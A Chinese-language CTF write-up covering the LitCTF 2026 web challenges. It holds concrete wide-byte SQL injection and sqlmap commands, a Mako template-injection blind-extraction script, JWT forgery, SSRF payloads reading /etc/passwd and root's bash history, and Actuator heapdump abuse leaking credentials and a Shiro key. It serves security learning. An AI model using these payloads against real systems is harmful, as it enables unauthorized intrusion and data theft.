LitCTF2026 web方向全解
字数 2556
更新时间 2026-06-01 23:16:47
LitCTF 2026 Web方向解题详解与教学文档
1. lit_ezsql(宽字节注入)
1.1 题目信息
- 题目类型:SQL注入
- 访问地址:
http://challenge.cyclens.tech:31302/query?id=1 - 特征:正常查询
id=1或id=2可返回数据
1.2 注入点探测
1.2.1 常规闭合测试
测试以下payload均无报错且正常返回:
1 and 1=2 #1'1"1')1")
1.2.2 特殊字符测试
以下payload均返回id=2的数据:
2abc2e02-1
结论:存在输入处理机制,可能是转义或过滤。
1.3 宽字节注入原理
当应用使用addslashes()等函数对单引号进行转义(' -> \')时,如果数据库使用GBK等宽字符集,可通过构造特殊字符绕过:
%bf'->%bf%5c%27(数据库将%bf%5c解析为一个中文字符,从而"吃掉"反斜杠)
1.4 手工注入流程
1.4.1 验证注入
http://challenge.cyclens.tech:32035/query?id=1%bf%27%20OR%201=1--+
%bf:宽字节前导字符%27:单引号- 成功返回两条记录,确认注入存在
1.4.2 信息收集
# 查当前数据库
/query?id=-1%bf%27%20UNION%20SELECT%201,database(),3,4,5--+
# 查所有表
/query?id=-1%bf%27%20UNION%20SELECT%201,group_concat(table_name),3,4,5%20FROM%20information_schema.tables%20WHERE%20table_schema=database()--+
# 查flag
/query?id=-1%bf%27%20UNION%20SELECT%201,2,3,4,group_concat(flag)%20FROM%20flag_store--+
1.5 自动化工具
sqlmap -u "http://challenge.cyclens.tech:31302/query?id=1" -D ezsql -T flag_store -C flag --dump --tamper=unmagicquotes --delay=0.5
2. lit_ezssti(Mako模板注入)
2.1 引擎识别
2.1.1 常见模板测试
${7*7}:触发WAF{{7*7}}:不渲染<%= 7*7 %>:触发WAF%:返回报错,显示Mako相关错误
2.1.2 确认模板类型
% if 1:
OK
% endif
成功返回"OK",确认是Mako模板引擎。
2.2 字符过滤检测
通过fuzz脚本检测被过滤字符:
from time import sleep
import requests
import urllib
url = "http://challenge.cyclens.tech:30191/"
for i in range(32, 127):
html = chr(i)
data = {'tpl': html}
r = requests.post(url=url, data=data)
if "WAF" in r.text:
print(html)
过滤结果:.、=、[、]、${...}、<%= ... %>被过滤
2.3 绕过技术
2.3.1 读取文件
尝试open("/flag")发现flag关键词被过滤,使用字符串拼接绕过:
open("/"+"f"+"l"+"a"+"g")
2.3.2 无点号访问属性
由于.被过滤,使用getattr()替代:
# 原语法:open('/flag').read()
# 替代方案:
getattr(open("/"+"f"+"l"+"a"+"g"), 'read')()
2.3.3 无中括号截取字符
由于[]被过滤,使用__getitem__()替代:
# 原语法:content[0]
# 替代方案:
getattr(content, '__getitem__')(0)
2.4 盲注脚本
2.4.1 基本payload
% if getattr(getattr(open("/"+"f"+"l"+"a"+"g"), 'read')(), '__getitem__')(0) in 'f':
True_Flag
% endif
2.4.2 完整自动化脚本
from time import sleep
import requests
import urllib
url = "http://challenge.cyclens.tech:30191/"
str_range = '}{-abcdefghijklmnopqrstuvwxyz0123456789'
def getData(str_list):
j = 0
while True:
for i in str_list:
data = {'tpl': f"""% if getattr(getattr(open("/"+"f"+"l"+"a"+"g"), 'read')(), '__getitem__')({j}) in '{i}':
True_Flag
% endif"""}
r = requests.post(url=url, data=data)
if """<pre id="out">True_Flag""" in r.text:
print(i, end="")
if i == "}":
print()
return 1
break
j = j + 1
if __name__ == '__main__':
getData(str_range)
3. lit_reverse_my_web(JWT伪造)
3.1 题目分析
- 只有admin权限用户可访问
/flag - 普通用户注册后获取JWT
- 需要逆向找到secret_key伪造admin权限
3.2 解题步骤
- 注册普通用户获取JWT
- 从附件中找到secret_key:
rMw_2026_litctf_jwt_secret_key!! - 伪造JWT,将
user字段改为admin - 使用伪造的JWT访问
/flag
4. Northbridge Document Hub(SSRF+文件读取)
4.1 信息收集
- 登录界面无注册功能
- 题目提示"研究员账号已开放"
- 在源码中发现泄露信息:
- 账号:
researcher - 路由:
/kkfileview/getCorsFile
- 账号:
4.2 SSRF漏洞利用
4.2.1 漏洞点
http://challenge.cyclens.tech:31440/kkfileview/getCorsFile?urlPath=ZmlsZTovLy9ldGMvcGFzc3dk
其中ZmlsZTovLy9ldGMvcGFzc3dk是file:///etc/passwd的base64编码
4.2.2 读取Bash历史
http://challenge.cyclens.tech:31440/kkfileview/getCorsFile?urlPath=ZmlsZTovLy9yb290Ly5iYXNoX2hpc3Rvcnk=
# 解码后:file:///root/.bash_history
4.2.3 获取缓存文件路径
从Bash历史发现关键命令:
cp /opt/kkfileview/cache/parsed/q1_finance_report_2026.zip /tmp/q1_finance_report_2026.zip
4.2.4 获取flag
下载缓存文件获取flag
5. 华辰企业服务运营平台(Spring Boot Actuator未授权访问)
5.1 信息收集
5.1.1 发现Actuator端点
/actuator/actuator/env/actuator/beans/actuator/mappings/actuator/heapdump
5.1.2 获取敏感信息
访问/actuator/env/FLAG直接获取flag:
{"property":{"source":"systemEnvironment","value":"flag{ohqkysxu-o0rs-463-8ygw-hfronlxc3eoe7}"}}
5.2 内存分析
5.2.1 下载堆dump
/actuator/heapdump
5.2.2 提取关键信息
-
Shiro配置:
- 类:
com.gzctf.lab.config.ShiroConfig - 类:
com.gzctf.lab.config.LabRealm
- 类:
-
用户凭据:
- admin ->
A9r#Qv3!Lm7@Tp2$Xz5&Nk8*Hs4^Wc1 - user ->
user123
- admin ->
-
RememberMe密钥:
- 字节:
47 5a 43 54 46 53 68 69 72 6f 47 43 4d 4b 65 79 - ASCII:
GZCTFShiroGCMKey - Base64:
R1pDVEZTaGlyb0dDTUtleQ==
- 字节:
5.3 权限突破
5.3.1 伪造RememberMe Cookie
利用泄露的密钥伪造Shiro的rememberMe cookie,访问:
/api/auth/me
返回:
{"authenticated":true,"user":"admin","roles":["user","ops","admin"]}
5.3.2 使用泄露凭据登录
POST /api/auth/login
{
"username": "admin",
"password": "A9r#Qv3!Lm7@Tp2$Xz5&Nk8*Hs4^Wc1",
"rememberMe": true
}
5.3.3 访问管理接口
/api/admin/system/summary/api/admin/ops/reports/api/admin/audit/list
从审计接口获取flag尾段:
{
"source": "audit-service",
"items": [
{"id": "AR-8301", "detail": "登录异地告警已人工复核为误报"},
{"id": "AR-8302", "detail": "数据库结构变更任务延后执行"},
{"id": "AR-8303", "detail": "历史归档备注: 3-8ygw-hfronlxc3eoe7}"}
]
}
6. 关键知识点总结
6.1 SQL注入
- 宽字节注入绕过转义
- SQLMap的
--tamper=unmagicquotes参数 - UNION注入的信息收集技巧
6.2 SSTI注入
- Mako模板引擎特性
- 字符过滤绕过技术
getattr()替代点号访问__getitem__()替代中括号- 盲注脚本编写
6.3 JWT安全
- JWT结构解析
- secret_key泄露风险
- 权限字段伪造
6.4 SSRF漏洞
- 文件协议利用
- 历史文件信息泄露
- 缓存文件路径分析
6.5 Spring Boot安全
- Actuator端点未授权访问
- 环境变量信息泄露
- 堆dump分析技术
- Shiro RememberMe机制
- 配置信息泄露风险
6.6 通用技巧
- 源码信息泄露挖掘
- 历史命令分析
- 字符串拼接绕过过滤
- 自动化fuzz脚本编写
- 多维度信息关联分析
注:本教学文档完全基于提供的链接内容整理,涵盖了LitCTF 2026 Web方向所有题目的解题思路、技术细节和关键知识点,适合用于CTF学习和Web安全技术研究。
相似文章
相似文章